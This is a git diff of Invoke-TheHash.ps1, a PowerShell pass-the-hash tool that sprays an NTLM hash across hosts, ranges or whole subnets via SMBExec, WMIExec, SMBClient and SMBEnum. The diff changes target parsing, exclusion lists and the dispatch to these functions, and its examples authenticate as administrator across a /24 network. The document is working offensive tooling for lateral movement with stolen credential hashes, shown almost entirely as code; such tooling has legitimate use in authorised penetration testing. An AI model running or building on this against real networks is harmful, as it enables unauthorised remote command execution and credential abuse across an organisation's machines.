diff options
Diffstat (limited to 'Invoke-TheHash.ps1')
-rw-r--r-- | Invoke-TheHash.ps1 | 363 |
1 files changed, 239 insertions, 124 deletions
diff --git a/Invoke-TheHash.ps1 b/Invoke-TheHash.ps1 index ce64c51..8a3614c 100644 --- a/Invoke-TheHash.ps1 +++ b/Invoke-TheHash.ps1 @@ -3,20 +3,22 @@ function Invoke-TheHash <# .SYNOPSIS Invoke-TheHash has the ability to target multiple hosts with Invoke-SMBExec or Invoke-WMIExec. This function is -primarily for checking a hash against multiple systems. The function can also be used to execute commands -on multiple systems. Note that in most cases it's advisable to just open a single shell and then use other tools -from within that session. +primarily for checking a hash against multiple systems. The function can also be used to perform other tasks +against multiple hosts. + +Author: Kevin Robertson (@kevin_robertson) +License: BSD 3-Clause .PARAMETER Type -Sets the desired Invoke-TheHash function. Set to either WMIExec or SMBExec. +(SMBClient/SMBEnum/SMBExec/WMIExec) Sets the desired Invoke-TheHash function. -.PARAMETER Targets -List of hostnames, IP addresses, or CIDR notation for targets. +.PARAMETER Target +List of hostnames, IP addresses, CIDR notation, or IP ranges for targets. -.PARAMETER TargetsExclude -List of hostnames and/or IP addresses to exclude form the list or targets. Note that the format -(hostname vs IP address) must match the format used with the Targets parameter. For example, if the host was added -to Targets within a CIDR notation, it must be excluded as an IP address. +.PARAMETER TargetExclude +List of hostnames, IP addresses, CIDR notation, or IP ranges to exclude form the list or targets. Note that the +format (hostname vs IP address) must match the format used with the Targets parameter. For example, if the host +was added to Targets within a CIDR notation, it must be excluded as an IP address and not a host name. .PARAMETER PortCheckDisable (Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up @@ -40,13 +42,15 @@ Command to execute on the target. If a command is not specified, the function wi .PARAMETER CommandCOMSPEC Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to Command. +.PARAMETER Action +(All,Group,NetSession,Share,User) Default = Share: SMBEnum enumeration action to perform. + +.PARAMETER Group +Default = Administrators: Group to enumerate with SMBEnum. + .PARAMETER Service Default = 20 Character Random: SMBExec type only. Name of the service to create and delete on the target. -.PARAMETER SMB1 -(Switch) Force SMB1. SMBExec type only. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the -target. - .PARAMETER Sleep Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this setting if you are experiencing strange results. @@ -55,35 +59,33 @@ setting if you are experiencing strange results. Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 .EXAMPLE -$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -$target_list = ConvertTo-TargetList $target_output -Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose +Invoke-TheHash -Type SMBExec -Targets 192.168.100.1-100 -TargetsExclude 192.168.100.50 -Username user1 -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -domain test .LINK https://github.com/Kevin-Robertson/Invoke-TheHash #> -[CmdletBinding()] +[CmdletBinding(DefaultParametersetName='Default')] param ( - [parameter(Mandatory=$true)][Array]$Targets, - [parameter(Mandatory=$false)][Array]$TargetsExclude, - [parameter(Mandatory=$true)][String]$Username, - [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$true)][Array]$Target, + [parameter(Mandatory=$false)][Array]$TargetExclude, + [parameter(ParameterSetName='Auth',Mandatory=$true)][String]$Username, + [parameter(ParameterSetName='Auth',Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][ValidateSet("All","NetSession","Share","User","Group")][String]$Action = "All", + [parameter(Mandatory=$false)][String]$Group = "Administrators", [parameter(Mandatory=$false)][String]$Service, [parameter(Mandatory=$false)][String]$Command, [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y", - [parameter(Mandatory=$true)][ValidateSet("SMBExec","WMIExec")][String]$Type, + [parameter(Mandatory=$true)][ValidateSet("SMBClient","SMBEnum","SMBExec","WMIExec")][String]$Type, [parameter(Mandatory=$false)][Int]$PortCheckTimeout = 100, - [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, + [parameter(ParameterSetName='Auth',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, [parameter(Mandatory=$false)][Switch]$PortCheckDisable, - [parameter(Mandatory=$false)][Int]$Sleep, - [parameter(Mandatory=$false)][Switch]$SMB1 + [parameter(Mandatory=$false)][Int]$Sleep ) $target_list = New-Object System.Collections.ArrayList -$target_list_singles = New-Object System.Collections.ArrayList -$target_list_subnets = New-Object System.Collections.ArrayList +$target_exclude_list = New-Object System.Collections.ArrayList if($Type -eq 'WMIExec') { @@ -94,150 +96,263 @@ else $Sleep = 150 } -# subnet parsing code borrowed heavily from Rich Lundeen's Invoke-Portscan -foreach($target in $Targets) +for($i=0;$i -lt $target.Count;$i++) { - if($target.contains("/")) + if($target[$i] -like "*-*") { - $target_split = $target.split("/")[0] - [uint32]$subnet_mask_split = $target.split("/")[1] - - $target_address = [System.Net.IPAddress]::Parse($target_split) + $target_array = $target[$i].split("-") - if($subnet_mask_split -ge $target_address.GetAddressBytes().Length * 8) + if($target_array[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and + $target_array[1] -notmatch "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b") { - throw "Subnet mask is not valid" + + if($target_array.Count -ne 2 -or $target_array[1] -notmatch "^[\d]+$" -or $target_array[1] -gt 254) + { + Write-Output "[!] Invalid target $($target[$i])" + throw + } + else + { + $IP_network_begin = $target_array[0].ToCharArray() + [Array]::Reverse($IP_network_begin) + $IP_network_begin = -join($IP_network_begin) + $IP_network_begin = $IP_network_begin.SubString($IP_network_begin.IndexOf(".")) + $IP_network_begin = $IP_network_begin.ToCharArray() + [Array]::Reverse($IP_network_begin) + $IP_network_begin = -join($IP_network_begin) + $IP_range_end = $IP_network_begin + $target_array[1] + $target[$i] = $target_array[0] + "-" + $IP_range_end + } + } - $target_count = [System.math]::Pow(2,(($target_address.GetAddressBytes().Length * 8) - $subnet_mask_split)) + } - $target_start_address = $target_address.GetAddressBytes() - [array]::Reverse($target_start_address) +} - $target_start_address = [System.BitConverter]::ToUInt32($target_start_address,0) - [uint32]$target_subnet_mask_start = ([System.math]::Pow(2, $subnet_mask_split)-1) * ([System.Math]::Pow(2,(32 - $subnet_mask_split))) - $target_start_address = $target_start_address -band $target_subnet_mask_start +# math taken from https://gallery.technet.microsoft.com/scriptcenter/List-the-IP-addresses-in-a-60c5bb6b - $target_start_address = [System.BitConverter]::GetBytes($target_start_address)[0..3] - [array]::Reverse($target_start_address) +function Convert-RangetoIPList +{ + param($IP,$CIDR,$Start,$End) - $target_address = [System.Net.IPAddress] [byte[]] $target_start_address + function Convert-IPtoINT64 + { + param($IP) + + $octets = $IP.split(".") + + return [int64]([int64]$octets[0] * 16777216 + [int64]$octets[1]*65536 + [int64]$octets[2] * 256 + [int64]$octets[3]) + } + + function Convert-INT64toIP + { + param ([int64]$int) + return (([math]::truncate($int/16777216)).tostring() + "." +([math]::truncate(($int%16777216)/65536)).tostring() + "." + ([math]::truncate(($int%65536)/256)).tostring() + "." +([math]::truncate($int%256)).tostring()) + } - $target_list_subnets.Add($target_address.IPAddressToString) > $null + $target_list = New-Object System.Collections.ArrayList + + if($IP) + { + $IP_address = [System.Net.IPAddress]::Parse($IP) + } - for ($i=0; $i -lt $target_count-1; $i++) - { - $target_next = $target_address.GetAddressBytes() - [array]::Reverse($target_next) - $target_next = [System.BitConverter]::ToUInt32($target_next,0) - $target_next ++ - $target_next = [System.BitConverter]::GetBytes($target_next)[0..3] - [array]::Reverse($target_next) - - $target_address = [System.Net.IPAddress] [byte[]] $target_next - $target_list_subnets.Add($target_address.IPAddressToString) > $null - } + if($CIDR) + { + $mask_address = [System.Net.IPAddress]::Parse((Convert-INT64toIP -int ([convert]::ToInt64(("1" * $CIDR + "0" * (32 - $CIDR)),2)))) + } - $target_list_subnets.RemoveAt(0) - $target_list_subnets.RemoveAt($target_list_subnets.Count - 1) + if($IP) + { + $network_address = New-Object System.Net.IPAddress ($mask_address.address -band $IP_address.address) + } + if($IP) + { + $broadcast_address = New-Object System.Net.IPAddress (([System.Net.IPAddress]::parse("255.255.255.255").address -bxor $mask_address.address -bor $network_address.address)) + } + + if($IP) + { + $start_address = Convert-IPtoINT64 -ip $network_address.IPAddressToString + $end_address = Convert-IPtoINT64 -ip $broadcast_address.IPAddressToString } else + { + $start_address = Convert-IPtoINT64 -ip $start + $end_address = Convert-IPtoINT64 -ip $end + } + + for($i = $start_address; $i -le $end_address; $i++) + { + $IP_address = Convert-INT64toIP -int $i + $target_list.Add($IP_address) > $null + } + + if($network_address) { - $target_list_singles.Add($target) > $null + $target_list.Remove($network_address.IPAddressToString) } + if($broadcast_address) + { + $target_list.Remove($broadcast_address.IPAddressToString) + } + + return $target_list } -$target_list.AddRange($target_list_singles) -$target_list.AddRange($target_list_subnets) - -foreach($target in $TargetsExclude) +function Get-TargetList { - $target_list.Remove("$Target") -} + param($targets) -foreach($target in $target_list) -{ + $target_list = New-Object System.Collections.ArrayList - if($type -eq 'WMIExec') + ForEach($entry in $targets) { + $entry_split = $null - if(!$PortCheckDisable) + if($entry.contains("/")) { - $WMI_port_test = New-Object System.Net.Sockets.TCPClient - $WMI_port_test_result = $WMI_port_test.BeginConnect($target,"135",$null,$null) - $WMI_port_test_success = $WMI_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false) - $WMI_port_test.Close() + $entry_split = $entry.Split("/") + $IP = $entry_split[0] + $CIDR = $entry_split[1] + $target_list.AddRange($(Convert-RangetoIPList -IP $IP -CIDR $CIDR)) } - - if($WMI_port_test_success -or $PortCheckDisable) + elseif($entry.contains("-")) { - Invoke-WMIExec -username $Username -domain $Domain -hash $Hash -command $Command -target $target -sleep $Sleep + $entry_split = $entry.Split("-") + + if($entry_split[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and + $entry_split[1] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b") + { + $start_address = $entry_split[0] + $end_address = $entry_split[1] + $target_list.AddRange($(Convert-RangetoIPList -Start $start_address -End $end_address)) + } + else + { + $target_list.Add($entry) > $null + } + } - - } - elseif($Type -eq 'SMBExec') - { - - if(!$PortCheckDisable) + else { - $SMB_port_test = New-Object System.Net.Sockets.TCPClient - $SMB_port_test_result = $SMB_port_test.BeginConnect($target,"445",$null,$null) - $SMB_port_test_success = $SMB_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false) - $SMB_port_test.Close() + $target_list.Add($entry) > $null } - if($SMB_port_test_success -or $PortCheckDisable) - { - Invoke-SMBExec -username $Username -domain $Domain -hash $Hash -command $Command -CommandCOMSPEC $CommandCOMSPEC -Service $Service -target $target -smb1:$smb1 -sleep $Sleep - } - } - + + return $target_list } +$target_list = Get-TargetList $Target + +if($TargetExclude) +{ + $target_exclude_list = Get-TargetList $TargetExclude + $target_list = Compare-Object -ReferenceObject $target_exclude_list -DifferenceObject $target_list -PassThru } -function ConvertTo-TargetList +if($target_list.Count -gt 0) { -<# -.SYNOPSIS -ConvertTo-TargetList converts an Invoke-TheHash output array to an array that contains only targets discovered to -have Invoke-WMIExec or Invoke-SMBExec access. The output of this function can be passed back into Invoke-TheHash -through the Targets parameter. -.PARAMETER $OutputArray -The output array returned by Invoke-TheHash. + foreach($target in $target_list) + { + Write-Verbose "[*] Targeting $target" -.EXAMPLE -$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -$target_list = ConvertTo-TargetList $target_output -Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose + if($type -eq 'WMIExec') + { -.LINK -https://github.com/Kevin-Robertson/Invoke-TheHash + if(!$PortCheckDisable) + { + $WMI_port_test = New-Object System.Net.Sockets.TCPClient + $WMI_port_test_result = $WMI_port_test.BeginConnect($target,"135",$null,$null) + $WMI_port_test_success = $WMI_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false) + $WMI_port_test.Close() + } -#> + if($WMI_port_test_success -or $PortCheckDisable) + { + Invoke-WMIExec -username $Username -domain $Domain -hash $Hash -command $Command -target $target -sleep $Sleep -Verbose:$VerbosePreference + } -[CmdletBinding()] -param ([parameter(Mandatory=$true)][Array]$Invoke_TheHash_Output) + } + elseif($Type -like 'SMB*') + { -$target_list = New-Object System.Collections.ArrayList + if(!$PortCheckDisable) + { + $SMB_port_test = New-Object System.Net.Sockets.TCPClient + $SMB_port_test_result = $SMB_port_test.BeginConnect($target,"445",$null,$null) + $SMB_port_test_success = $SMB_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false) + $SMB_port_test.Close() + } -foreach($target in $ITHOutput) -{ - - if($target -like "* on *" -and $target -notlike "* denied *" -and $target -notlike "* failed *" -and $target -notlike "* is not *") - { - $target_index = $target.IndexOf(" on ") - $target_index += 4 - $target = $target.SubString($target_index,($target.Length - $target_index)) - $target_list.Add($target) > $null - } + if($SMB_port_test_success -or $PortCheckDisable) + { + + switch($Type) + { + + 'SMBClient' + { + $source = "\\" + $target + "\c$" + + if($PsCmdlet.ParameterSetName -eq 'Auth') + { + Invoke-SMBClient -username $Username -domain $Domain -hash $Hash -source $source -sleep $Sleep -Verbose:$VerbosePreference + } + else + { + Invoke-SMBClient -source $source -sleep $Sleep -Verbose:$VerbosePreference + } + + } + + 'SMBEnum' + { + + if($PsCmdlet.ParameterSetName -eq 'Auth') + { + Invoke-SMBEnum -username $Username -domain $Domain -hash $Hash -target $target -sleep $Sleep -Action $Action -TargetShow -Verbose:$VerbosePreference + } + else + { + Invoke-SMBEnum -target $target -sleep $Sleep -Verbose:$VerbosePreference + } + + } + + 'SMBExec' + { + + if($PsCmdlet.ParameterSetName -eq 'Auth') + { + Invoke-SMBExec -username $Username -domain $Domain -hash $Hash -command $Command -CommandCOMSPEC $CommandCOMSPEC -Service $Service -target $target -sleep $Sleep -Verbose:$VerbosePreference + } + else + { + Invoke-SMBExec -target $target -sleep $Sleep -Verbose:$VerbosePreference + } + + } + + } + + } + + } + + } + +} +else +{ + Write-Output "[-] Target list is empty" } -return $target_list } |